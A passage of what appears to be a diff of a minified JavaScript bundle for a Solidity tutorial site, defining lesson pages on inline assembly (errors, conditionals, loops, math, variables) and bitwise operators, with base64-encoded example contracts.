XTsKCiAgICAgICAgcmVtb3ZlKDEpOwogICAgICAgIC8vIFsxLCA0LCAzXQogICAgICAgIGFzc2VydChhcnIubGVuZ3RoID09IDMpOwogICAgICAgIGFzc2VydChhcnJbMF0gPT0gMSk7CiAgICAgICAgYXNzZXJ0KGFyclsxXSA9PSA0KTsKICAgICAgICBhc3NlcnQoYXJyWzJdID09IDMpOwoKICAgICAgICByZW1vdmUoMik7CiAgICAgICAgLy8gWzEsIDRdCiAgICAgICAgYXNzZXJ0KGFyci5sZW5ndGggPT0gMik7CiAgICAgICAgYXNzZXJ0KGFyclswXSA9PSAxKTsKICAgICAgICBhc3NlcnQoYXJyWzFdID09IDQpOwogICAgfQp9Cg=="}],Hu=`

                  Array can have a compile-time fixed size or a dynamic size.

                  // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
 
@@ -3638,7 +3638,7 @@ Each slot in the array can store 32 bytes.
                  
         assert(arr[1] == 4);
     }
 }
-
                  `,Ku=({prev:s,next:a})=>r.jsx(A,{version:Ru,title:vu,description:Nu,html:Fu,prev:s,next:a,codes:Hu}),Mu="0.8.24",Su="Assembly Error",xu="Example of error in assembly",Ju=[{fileName:"AssemblyError.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEFzc2VtYmx5RXJyb3IgewogICAgZnVuY3Rpb24geXVsX3JldmVydCh1aW50MjU2IHgpIHB1YmxpYyBwdXJlIHsKICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgIC8vIHJldmVydChwLCBzKSAtIGVuZCBleGVjdXRpb24KICAgICAgICAgICAgLy8gICAgICAgICAgICAgICAgcmV2ZXJ0IHN0YXRlIGNoYW5nZXMKICAgICAgICAgICAgLy8gICAgICAgICAgICAgICAgcmV0dXJuIGRhdGEgbWVtW3DigKYocCtzKSkKICAgICAgICAgICAgaWYgZ3QoeCwgMTApIHsgcmV2ZXJ0KDAsIDApIH0KICAgICAgICB9CiAgICB9Cn0K"}],zu=`

                  Example of error in assembly

                  +`,Ku=({prev:s,next:a})=>r.jsx(A,{version:Xu,title:vu,description:Ru,html:Hu,prev:s,next:a,codes:Nu}),Fu="0.8.24",Mu="Assembly Error",Su="Example of error in assembly",xu=[{fileName:"AssemblyError.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEFzc2VtYmx5RXJyb3IgewogICAgZnVuY3Rpb24geXVsX3JldmVydCh1aW50MjU2IHgpIHB1YmxpYyBwdXJlIHsKICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgIC8vIHJldmVydChwLCBzKSAtIGVuZCBleGVjdXRpb24KICAgICAgICAgICAgLy8gICAgICAgICAgICAgICAgcmV2ZXJ0IHN0YXRlIGNoYW5nZXMKICAgICAgICAgICAgLy8gICAgICAgICAgICAgICAgcmV0dXJuIGRhdGEgbWVtW3DigKYocCtzKSkKICAgICAgICAgICAgaWYgZ3QoeCwgMTApIHsgcmV2ZXJ0KDAsIDApIH0KICAgICAgICB9CiAgICB9Cn0K"}],Ju=`

                  Example of error in assembly

                  // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
 
@@ -3652,7 +3652,7 @@ Each slot in the array can store 32 bytes.
                  
         }
     }
 }
-
                  `,Du=({prev:s,next:a})=>r.jsx(A,{version:Mu,title:Su,description:xu,html:zu,prev:s,next:a,codes:Ju}),Eu="0.8.24",Qu="Assembly Conditional Statements",Tu="Example of conditional statements in assembly",Uu=[{fileName:"AssemblyIf.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEFzc2VtYmx5SWYgewogICAgZnVuY3Rpb24geXVsX2lmKHVpbnQyNTYgeCkgcHVibGljIHB1cmUgcmV0dXJucyAodWludDI1NiB6KSB7CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICAvLyBpZiBjb25kaXRpb24gPSAxIHsgY29kZSB9CiAgICAgICAgICAgIC8vIG5vIGVsc2UKICAgICAgICAgICAgLy8gaWYgMCB7IHogOj0gOTkgfQogICAgICAgICAgICAvLyBpZiAxIHsgeiA6PSA5OSB9CiAgICAgICAgICAgIGlmIGx0KHgsIDEwKSB7IHogOj0gOTkgfQogICAgICAgIH0KICAgIH0KCiAgICBmdW5jdGlvbiB5dWxfc3dpdGNoKHVpbnQyNTYgeCkgcHVibGljIHB1cmUgcmV0dXJucyAodWludDI1NiB6KSB7CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICBzd2l0Y2ggeAogICAgICAgICAgICBjYXNlIDEgeyB6IDo9IDEwIH0KICAgICAgICAgICAgY2FzZSAyIHsgeiA6PSAyMCB9CiAgICAgICAgICAgIGRlZmF1bHQgeyB6IDo9IDAgfQogICAgICAgIH0KICAgIH0KfQo="}],_u=`

                  Example of conditional statements in assembly

                  +`,zu=({prev:s,next:a})=>r.jsx(A,{version:Fu,title:Mu,description:Su,html:Ju,prev:s,next:a,codes:xu}),Du="0.8.24",Eu="Assembly Conditional Statements",Qu="Example of conditional statements in assembly",Tu=[{fileName:"AssemblyIf.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEFzc2VtYmx5SWYgewogICAgZnVuY3Rpb24geXVsX2lmKHVpbnQyNTYgeCkgcHVibGljIHB1cmUgcmV0dXJucyAodWludDI1NiB6KSB7CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICAvLyBpZiBjb25kaXRpb24gPSAxIHsgY29kZSB9CiAgICAgICAgICAgIC8vIG5vIGVsc2UKICAgICAgICAgICAgLy8gaWYgMCB7IHogOj0gOTkgfQogICAgICAgICAgICAvLyBpZiAxIHsgeiA6PSA5OSB9CiAgICAgICAgICAgIGlmIGx0KHgsIDEwKSB7IHogOj0gOTkgfQogICAgICAgIH0KICAgIH0KCiAgICBmdW5jdGlvbiB5dWxfc3dpdGNoKHVpbnQyNTYgeCkgcHVibGljIHB1cmUgcmV0dXJucyAodWludDI1NiB6KSB7CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICBzd2l0Y2ggeAogICAgICAgICAgICBjYXNlIDEgeyB6IDo9IDEwIH0KICAgICAgICAgICAgY2FzZSAyIHsgeiA6PSAyMCB9CiAgICAgICAgICAgIGRlZmF1bHQgeyB6IDo9IDAgfQogICAgICAgIH0KICAgIH0KfQo="}],Uu=`

                  Example of conditional statements in assembly

                  // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
 
@@ -3676,7 +3676,7 @@ Each slot in the array can store 32 bytes.
                  
         }
     }
 }
-
                  `,Lu=({prev:s,next:a})=>r.jsx(A,{version:Eu,title:Qu,description:Tu,html:_u,prev:s,next:a,codes:Uu}),Ou="0.8.24",Pu="Assembly Loop",$u="Example of loop in assembly",qu=[{fileName:"AssemblyLoop.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEFzc2VtYmx5TG9vcCB7CiAgICBmdW5jdGlvbiB5dWxfZm9yX2xvb3AoKSBwdWJsaWMgcHVyZSByZXR1cm5zICh1aW50MjU2IHopIHsKICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgIGZvciB7IGxldCBpIDo9IDAgfSBsdChpLCAxMCkgeyBpIDo9IGFkZChpLCAxKSB9IHsgeiA6PSBhZGQoeiwgMSkgfQogICAgICAgIH0KICAgIH0KCiAgICBmdW5jdGlvbiB5dWxfd2hpbGVfbG9vcCgpIHB1YmxpYyBwdXJlIHJldHVybnMgKHVpbnQyNTYgeikgewogICAgICAgIGFzc2VtYmx5IHsKICAgICAgICAgICAgbGV0IGkgOj0gMAogICAgICAgICAgICBmb3Ige30gbHQoaSwgNSkge30gewogICAgICAgICAgICAgICAgaSA6PSBhZGQoaSwgMSkKICAgICAgICAgICAgICAgIHogOj0gYWRkKHosIDEpCiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9Cn0K"}],sy=`

                  Example of loop in assembly

                  +`,_u=({prev:s,next:a})=>r.jsx(A,{version:Du,title:Eu,description:Qu,html:Uu,prev:s,next:a,codes:Tu}),Lu="0.8.24",Ou="Assembly Loop",Pu="Example of loop in assembly",$u=[{fileName:"AssemblyLoop.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEFzc2VtYmx5TG9vcCB7CiAgICBmdW5jdGlvbiB5dWxfZm9yX2xvb3AoKSBwdWJsaWMgcHVyZSByZXR1cm5zICh1aW50MjU2IHopIHsKICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgIGZvciB7IGxldCBpIDo9IDAgfSBsdChpLCAxMCkgeyBpIDo9IGFkZChpLCAxKSB9IHsgeiA6PSBhZGQoeiwgMSkgfQogICAgICAgIH0KICAgIH0KCiAgICBmdW5jdGlvbiB5dWxfd2hpbGVfbG9vcCgpIHB1YmxpYyBwdXJlIHJldHVybnMgKHVpbnQyNTYgeikgewogICAgICAgIGFzc2VtYmx5IHsKICAgICAgICAgICAgbGV0IGkgOj0gMAogICAgICAgICAgICBmb3Ige30gbHQoaSwgNSkge30gewogICAgICAgICAgICAgICAgaSA6PSBhZGQoaSwgMSkKICAgICAgICAgICAgICAgIHogOj0gYWRkKHosIDEpCiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9Cn0K"}],qu=`

                  Example of loop in assembly

                  // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
 
@@ -3697,7 +3697,7 @@ Each slot in the array can store 32 bytes.
                  
         }
     }
 }
-
                  `,ay=({prev:s,next:a})=>r.jsx(A,{version:Ou,title:Pu,description:$u,html:sy,prev:s,next:a,codes:qu}),ny="0.8.24",ly="Assembly Math",py="Example of math in assembly",ey=[{fileName:"AssemblyMath.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEFzc2VtYmx5TWF0aCB7CiAgICBmdW5jdGlvbiB5dWxfYWRkKHVpbnQyNTYgeCwgdWludDI1NiB5KSBwdWJsaWMgcHVyZSByZXR1cm5zICh1aW50MjU2IHopIHsKICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgIHogOj0gYWRkKHgsIHkpCiAgICAgICAgICAgIGlmIGx0KHosIHgpIHsgcmV2ZXJ0KDAsIDApIH0KICAgICAgICB9CiAgICB9CgogICAgZnVuY3Rpb24geXVsX211bCh1aW50MjU2IHgsIHVpbnQyNTYgeSkgcHVibGljIHB1cmUgcmV0dXJucyAodWludDI1NiB6KSB7CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICBzd2l0Y2ggeAogICAgICAgICAgICBjYXNlIDAgeyB6IDo9IDAgfQogICAgICAgICAgICBkZWZhdWx0IHsKICAgICAgICAgICAgICAgIHogOj0gbXVsKHgsIHkpCiAgICAgICAgICAgICAgICBpZiBpc3plcm8oZXEoZGl2KHosIHgpLCB5KSkgeyByZXZlcnQoMCwgMCkgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgfQoKICAgIC8vIFJvdW5kIHRvIG5lYXJlc3QgbXVsdGlwbGUgb2YgYgogICAgZnVuY3Rpb24geXVsX2ZpeGVkX3BvaW50X3JvdW5kKHVpbnQyNTYgeCwgdWludDI1NiBiKQogICAgICAgIHB1YmxpYwogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zICh1aW50MjU2IHopCiAgICB7CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICAvLyBiID0gMTAwCiAgICAgICAgICAgIC8vIHggPSA5MAogICAgICAgICAgICAvLyB6ID0gOTAgLyAxMDAgKiAxMDAgPSAwLCB3YW50IHogPSAxMDAKICAgICAgICAgICAgLy8geiA6PSBtdWwoZGl2KHgsIGIpLCBiKQoKICAgICAgICAgICAgbGV0IGhhbGYgOj0gZGl2KGIsIDIpCiAgICAgICAgICAgIHogOj0gYWRkKHgsIGhhbGYpCiAgICAgICAgICAgIHogOj0gbXVsKGRpdih6LCBiKSwgYikKICAgICAgICAgICAgLy8geCA9IDkwCiAgICAgICAgICAgIC8vIGhhbGYgPSA1MAogICAgICAgICAgICAvLyB6ID0gOTAgKyA1MCA9IDE0MAogICAgICAgICAgICAvLyB6ID0gMTQwIC8gMTAwICogMTAwID0gMTAwCiAgICAgICAgfQogICAgfQp9Cg=="}],cy=`

                  Example of math in assembly

                  +`,sy=({prev:s,next:a})=>r.jsx(A,{version:Lu,title:Ou,description:Pu,html:qu,prev:s,next:a,codes:$u}),ay="0.8.24",ny="Assembly Math",ly="Example of math in assembly",py=[{fileName:"AssemblyMath.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEFzc2VtYmx5TWF0aCB7CiAgICBmdW5jdGlvbiB5dWxfYWRkKHVpbnQyNTYgeCwgdWludDI1NiB5KSBwdWJsaWMgcHVyZSByZXR1cm5zICh1aW50MjU2IHopIHsKICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgIHogOj0gYWRkKHgsIHkpCiAgICAgICAgICAgIGlmIGx0KHosIHgpIHsgcmV2ZXJ0KDAsIDApIH0KICAgICAgICB9CiAgICB9CgogICAgZnVuY3Rpb24geXVsX211bCh1aW50MjU2IHgsIHVpbnQyNTYgeSkgcHVibGljIHB1cmUgcmV0dXJucyAodWludDI1NiB6KSB7CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICBzd2l0Y2ggeAogICAgICAgICAgICBjYXNlIDAgeyB6IDo9IDAgfQogICAgICAgICAgICBkZWZhdWx0IHsKICAgICAgICAgICAgICAgIHogOj0gbXVsKHgsIHkpCiAgICAgICAgICAgICAgICBpZiBpc3plcm8oZXEoZGl2KHosIHgpLCB5KSkgeyByZXZlcnQoMCwgMCkgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgfQoKICAgIC8vIFJvdW5kIHRvIG5lYXJlc3QgbXVsdGlwbGUgb2YgYgogICAgZnVuY3Rpb24geXVsX2ZpeGVkX3BvaW50X3JvdW5kKHVpbnQyNTYgeCwgdWludDI1NiBiKQogICAgICAgIHB1YmxpYwogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zICh1aW50MjU2IHopCiAgICB7CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICAvLyBiID0gMTAwCiAgICAgICAgICAgIC8vIHggPSA5MAogICAgICAgICAgICAvLyB6ID0gOTAgLyAxMDAgKiAxMDAgPSAwLCB3YW50IHogPSAxMDAKICAgICAgICAgICAgLy8geiA6PSBtdWwoZGl2KHgsIGIpLCBiKQoKICAgICAgICAgICAgbGV0IGhhbGYgOj0gZGl2KGIsIDIpCiAgICAgICAgICAgIHogOj0gYWRkKHgsIGhhbGYpCiAgICAgICAgICAgIHogOj0gbXVsKGRpdih6LCBiKSwgYikKICAgICAgICAgICAgLy8geCA9IDkwCiAgICAgICAgICAgIC8vIGhhbGYgPSA1MAogICAgICAgICAgICAvLyB6ID0gOTAgKyA1MCA9IDE0MAogICAgICAgICAgICAvLyB6ID0gMTQwIC8gMTAwICogMTAwID0gMTAwCiAgICAgICAgfQogICAgfQp9Cg=="}],ey=`

                  Example of math in assembly

                  // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
 
@@ -3742,7 +3742,7 @@ Each slot in the array can store 32 bytes.
                  
         }
     }
 }
-
                  `,ty=({prev:s,next:a})=>r.jsx(A,{version:ny,title:ly,description:py,html:cy,prev:s,next:a,codes:ey}),oy="0.8.24",ry="Assembly Variable",iy="Example of how to declare variable inside assembly",gy=[{fileName:"AssemblyVariable.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEFzc2VtYmx5VmFyaWFibGUgewogICAgZnVuY3Rpb24geXVsX2xldCgpIHB1YmxpYyBwdXJlIHJldHVybnMgKHVpbnQyNTYgeikgewogICAgICAgIGFzc2VtYmx5IHsKICAgICAgICAgICAgLy8gTGFuZ3VhZ2UgdXNlZCBmb3IgYXNzZW1ibHkgaXMgY2FsbGVkIFl1bAogICAgICAgICAgICAvLyBMb2NhbCB2YXJpYWJsZXMKICAgICAgICAgICAgbGV0IHggOj0gMTIzCiAgICAgICAgICAgIHogOj0gNDU2CiAgICAgICAgfQogICAgfQp9Cg=="}],hy=`

                  Example of how to declare variables inside assembly

                  +`,cy=({prev:s,next:a})=>r.jsx(A,{version:ay,title:ny,description:ly,html:ey,prev:s,next:a,codes:py}),ty="0.8.24",oy="Assembly Variable",ry="Example of how to declare variable inside assembly",iy=[{fileName:"AssemblyVariable.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEFzc2VtYmx5VmFyaWFibGUgewogICAgZnVuY3Rpb24geXVsX2xldCgpIHB1YmxpYyBwdXJlIHJldHVybnMgKHVpbnQyNTYgeikgewogICAgICAgIGFzc2VtYmx5IHsKICAgICAgICAgICAgLy8gTGFuZ3VhZ2UgdXNlZCBmb3IgYXNzZW1ibHkgaXMgY2FsbGVkIFl1bAogICAgICAgICAgICAvLyBMb2NhbCB2YXJpYWJsZXMKICAgICAgICAgICAgbGV0IHggOj0gMTIzCiAgICAgICAgICAgIHogOj0gNDU2CiAgICAgICAgfQogICAgfQp9Cg=="}],gy=`

                  Example of how to declare variables inside assembly

                  // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
 
@@ -3756,7 +3756,7 @@ Each slot in the array can store 32 bytes.
                  
         }
     }
 }
-
                  `,Iy=({prev:s,next:a})=>r.jsx(A,{version:oy,title:ry,description:iy,html:hy,prev:s,next:a,codes:gy}),dy="0.8.24",Cy="Bitwise Operators",jy="Learn about bitwise operators in Solidity",Ay=[{fileName:"Bitwise.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEJpdHdpc2VPcHMgewogICAgLy8geCAgICAgPSAxMTEwID0gOCArIDQgKyAyICsgMCA9IDE0CiAgICAvLyB5ICAgICA9IDEwMTEgPSA4ICsgMCArIDIgKyAxID0gMTEKICAgIC8vIHggJiB5ID0gMTAxMCA9IDggKyAwICsgMiArIDAgPSAxMAogICAgZnVuY3Rpb24gYW5kKHVpbnQyNTYgeCwgdWludDI1NiB5KSBleHRlcm5hbCBwdXJlIHJldHVybnMgKHVpbnQyNTYpIHsKICAgICAgICByZXR1cm4geCAmIHk7CiAgICB9CgogICAgLy8geCAgICAgPSAxMTAwID0gOCArIDQgKyAwICsgMCA9IDEyCiAgICAvLyB5ICAgICA9IDEwMDEgPSA4ICsgMCArIDAgKyAxID0gOQogICAgLy8geCB8IHkgPSAxMTAxID0gOCArIDQgKyAwICsgMSA9IDEzCiAgICBmdW5jdGlvbiBvcih1aW50MjU2IHgsIHVpbnQyNTYgeSkgZXh0ZXJuYWwgcHVyZSByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgcmV0dXJuIHggfCB5OwogICAgfQoKICAgIC8vIHggICAgID0gMTEwMCA9IDggKyA0ICsgMCArIDAgPSAxMgogICAgLy8geSAgICAgPSAwMTAxID0gMCArIDQgKyAwICsgMSA9IDUKICAgIC8vIHggXiB5ID0gMTAwMSA9IDggKyAwICsgMCArIDEgPSA5CiAgICBmdW5jdGlvbiB4b3IodWludDI1NiB4LCB1aW50MjU2IHkpIGV4dGVybmFsIHB1cmUgcmV0dXJucyAodWludDI1NikgewogICAgICAgIHJldHVybiB4IF4geTsKICAgIH0KCiAgICAvLyB4ICA9IDAwMDAxMTAwID0gICAwICsgIDAgKyAgMCArICAwICsgOCArIDQgKyAwICsgMCA9IDEyCiAgICAvLyB+eCA9IDExMTEwMDExID0gMTI4ICsgNjQgKyAzMiArIDE2ICsgMCArIDAgKyAyICsgMSA9IDI0MwogICAgZnVuY3Rpb24gbm90KHVpbnQ4IHgpIGV4dGVybmFsIHB1cmUgcmV0dXJucyAodWludDgpIHsKICAgICAgICByZXR1cm4gfng7CiAgICB9CgogICAgLy8gMSA8PCAwID0gMDAwMSAtLT4gMDAwMSA9IDEKICAgIC8vIDEgPDwgMSA9IDAwMDEgLS0+IDAwMTAgPSAyCiAgICAvLyAxIDw8IDIgPSAwMDAxIC0tPiAwMTAwID0gNAogICAgLy8gMSA8PCAzID0gMDAwMSAtLT4gMTAwMCA9IDgKICAgIC8vIDMgPDwgMiA9IDAwMTEgLS0+IDExMDAgPSAxMgogICAgZnVuY3Rpb24gc2hpZnRMZWZ0KHVpbnQyNTYgeCwgdWludDI1NiBiaXRzKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcHVyZQogICAgICAgIHJldHVybnMgKHVpbnQyNTYpCiAgICB7CiAgICAgICAgcmV0dXJuIHggPDwgYml0czsKICAgIH0KCiAgICAvLyA4ICA+PiAwID0gMTAwMCAtLT4gMTAwMCA9IDgKICAgIC8vIDggID4+IDEgPSAxMDAwIC0tPiAwMTAwID0gNAogICAgLy8gOCAgPj4gMiA9IDEwMDAgLS0+IDAwMTAgPSAyCiAgICAvLyA4ICA+PiAzID0gMTAwMCAtLT4gMDAwMSA9IDEKICAgIC8vIDggID4+IDQgPSAxMDAwIC0tPiAwMDAwID0gMAogICAgLy8gMTIgPj4gMSA9IDExMDAgLS0+IDAxMTAgPSA2CiAgICBmdW5jdGlvbiBzaGlmdFJpZ2h0KHVpbnQyNTYgeCwgdWludDI1NiBiaXRzKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcHVyZQogICAgICAgIHJldHVybnMgKHVpbnQyNTYpCiAgICB7CiAgICAgICAgcmV0dXJuIHggPj4gYml0czsKICAgIH0KCiAgICAvLyBHZXQgbGFzdCBuIGJpdHMgZnJvbSB4CiAgICBmdW5jdGlvbiBnZXRMYXN0TkJpdHModWludDI1NiB4LCB1aW50MjU2IG4pCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICBwdXJlCiAgICAgICAgcmV0dXJucyAodWludDI1NikKICAgIHsKICAgICAgICAvLyBFeGFtcGxlLCBsYXN0IDMgYml0cwogICAgICAgIC8vIHggICAgICAgID0gMTEwMSA9IDEzCiAgICAgICAgLy8gbWFzayAgICAgPSAwMTExID0gNwogICAgICAgIC8vIHggJiBtYXNrID0gMDEwMSA9IDUKICAgICAgICB1aW50MjU2IG1hc2sgPSAoMSA8PCBuKSAtIDE7CiAgICAgICAgcmV0dXJuIHggJiBtYXNrOwogICAgfQoKICAgIC8vIEdldCBsYXN0IG4gYml0cyBmcm9tIHggdXNpbmcgbW9kIG9wZXJhdG9yCiAgICBmdW5jdGlvbiBnZXRMYXN0TkJpdHNVc2luZ01vZCh1aW50MjU2IHgsIHVpbnQyNTYgbikKICAgICAgICBleHRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zICh1aW50MjU2KQogICAgewogICAgICAgIC8vIDEgPDwgbiA9IDIgKiogbgogICAgICAgIHJldHVybiB4ICUgKDEgPDwgbik7CiAgICB9CgogICAgLy8gR2V0IHBvc2l0aW9uIG9mIG1vc3Qgc2lnbmlmaWNhbnQgYml0CiAgICAvLyB4ID0gMTEwMCA9IDEyLCBtb3N0IHNpZ25pZmljYW50IGJpdCA9IDEwMDAsIHNvIHRoaXMgZnVuY3Rpb24gd2lsbCByZXR1cm4gMwogICAgZnVuY3Rpb24gbW9zdFNpZ25pZmljYW50Qml0KHVpbnQyNTYgeCkgZXh0ZXJuYWwgcHVyZSByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgdWludDI1NiBpID0gMDsKICAgICAgICB3aGlsZSAoKHggPj49IDEpID4gMCkgewogICAgICAgICAgICArK2k7CiAgICAgICAgfQogICAgICAgIHJldHVybiBpOwogICAgfQoKICAgIC8vIEdldCBmaXJzdCBuIGJpdHMgZnJvbSB4CiAgICAvLyBsZW4gPSBsZW5ndGggb2YgYml0cyBpbiB4ID0gcG9zaXRpb24gb2YgbW9zdCBzaWduaWZpY2FudCBiaXQgb2YgeCwgKyAxCiAgICBmdW5jdGlvbiBnZXRGaXJzdE5CaXRzKHVpbnQyNTYgeCwgdWludDI1NiBuLCB1aW50MjU2IGxlbikKICAgICAgICBleHRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zICh1aW50MjU2KQogICAgewogICAgICAgIC8vIEV4YW1wbGUKICAgICAgICAvLyB4ICAgICAgICA9IDExMTAgPSAxNCwgbiA9IDIsIGxlbiA9IDQKICAgICAgICAvLyBtYXNrICAgICA9IDExMDAgPSAxMgogICAgICAgIC8vIHggJiBtYXNrID0gMTEwMCA9IDEyCiAgICAgICAgdWludDI1NiBtYXNrID0gKCgxIDw8IG4pIC0gMSkgPDwgKGxlbiAtIG4pOwogICAgICAgIHJldHVybiB4ICYgbWFzazsKICAgIH0KfQo="},{fileName:"MostSignificantBitAssembly.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IE1vc3RTaWduaWZpY2FudEJpdEFzc2VtYmx5IHsKICAgIGZ1bmN0aW9uIG1vc3RTaWduaWZpY2FudEJpdCh1aW50MjU2IHgpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICBwdXJlCiAgICAgICAgcmV0dXJucyAodWludDI1NiBtc2IpCiAgICB7CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICBsZXQgZiA6PSBzaGwoNywgZ3QoeCwgMHhGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRikpCiAgICAgICAgICAgIHggOj0gc2hyKGYsIHgpCiAgICAgICAgICAgIC8vIG9yIGNhbiBiZSByZXBsYWNlZCB3aXRoIGFkZAogICAgICAgICAgICBtc2IgOj0gb3IobXNiLCBmKQogICAgICAgIH0KICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgIGxldCBmIDo9IHNobCg2LCBndCh4LCAweEZGRkZGRkZGRkZGRkZGRkYpKQogICAgICAgICAgICB4IDo9IHNocihmLCB4KQogICAgICAgICAgICBtc2IgOj0gb3IobXNiLCBmKQogICAgICAgIH0KICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgIGxldCBmIDo9IHNobCg1LCBndCh4LCAweEZGRkZGRkZGKSkKICAgICAgICAgICAgeCA6PSBzaHIoZiwgeCkKICAgICAgICAgICAgbXNiIDo9IG9yKG1zYiwgZikKICAgICAgICB9CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICBsZXQgZiA6PSBzaGwoNCwgZ3QoeCwgMHhGRkZGKSkKICAgICAgICAgICAgeCA6PSBzaHIoZiwgeCkKICAgICAgICAgICAgbXNiIDo9IG9yKG1zYiwgZikKICAgICAgICB9CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICBsZXQgZiA6PSBzaGwoMywgZ3QoeCwgMHhGRikpCiAgICAgICAgICAgIHggOj0gc2hyKGYsIHgpCiAgICAgICAgICAgIG1zYiA6PSBvcihtc2IsIGYpCiAgICAgICAgfQogICAgICAgIGFzc2VtYmx5IHsKICAgICAgICAgICAgbGV0IGYgOj0gc2hsKDIsIGd0KHgsIDB4RikpCiAgICAgICAgICAgIHggOj0gc2hyKGYsIHgpCiAgICAgICAgICAgIG1zYiA6PSBvcihtc2IsIGYpCiAgICAgICAgfQogICAgICAgIGFzc2VtYmx5IHsKICAgICAgICAgICAgbGV0IGYgOj0gc2hsKDEsIGd0KHgsIDB4MykpCiAgICAgICAgICAgIHggOj0gc2hyKGYsIHgpCiAgICAgICAgICAgIG1zYiA6PSBvcihtc2IsIGYpCiAgICAgICAgfQogICAgICAgIGFzc2VtYmx5IHsKICAgICAgICAgICAgbGV0IGYgOj0gZ3QoeCwgMHgxKQogICAgICAgICAgICBtc2IgOj0gb3IobXNiLCBmKQogICAgICAgIH0KICAgIH0KfQo="},{fileName:"MostSignificantBitFunction.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IE1vc3RTaWduaWZpY2FudEJpdEZ1bmN0aW9uIHsKICAgIC8vIEZpbmQgbW9zdCBzaWduaWZpY2FudCBiaXQgdXNpbmcgYmluYXJ5IHNlYXJjaAogICAgZnVuY3Rpb24gbW9zdFNpZ25pZmljYW50Qml0KHVpbnQyNTYgeCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zICh1aW50MjU2IG1zYikKICAgIHsKICAgICAgICAvLyB4ID49IDIgKiogMTI4CiAgICAgICAgaWYgKHggPj0gMHgxMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDApIHsKICAgICAgICAgICAgeCA+Pj0gMTI4OwogICAgICAgICAgICBtc2IgKz0gMTI4OwogICAgICAgIH0KICAgICAgICAvLyB4ID49IDI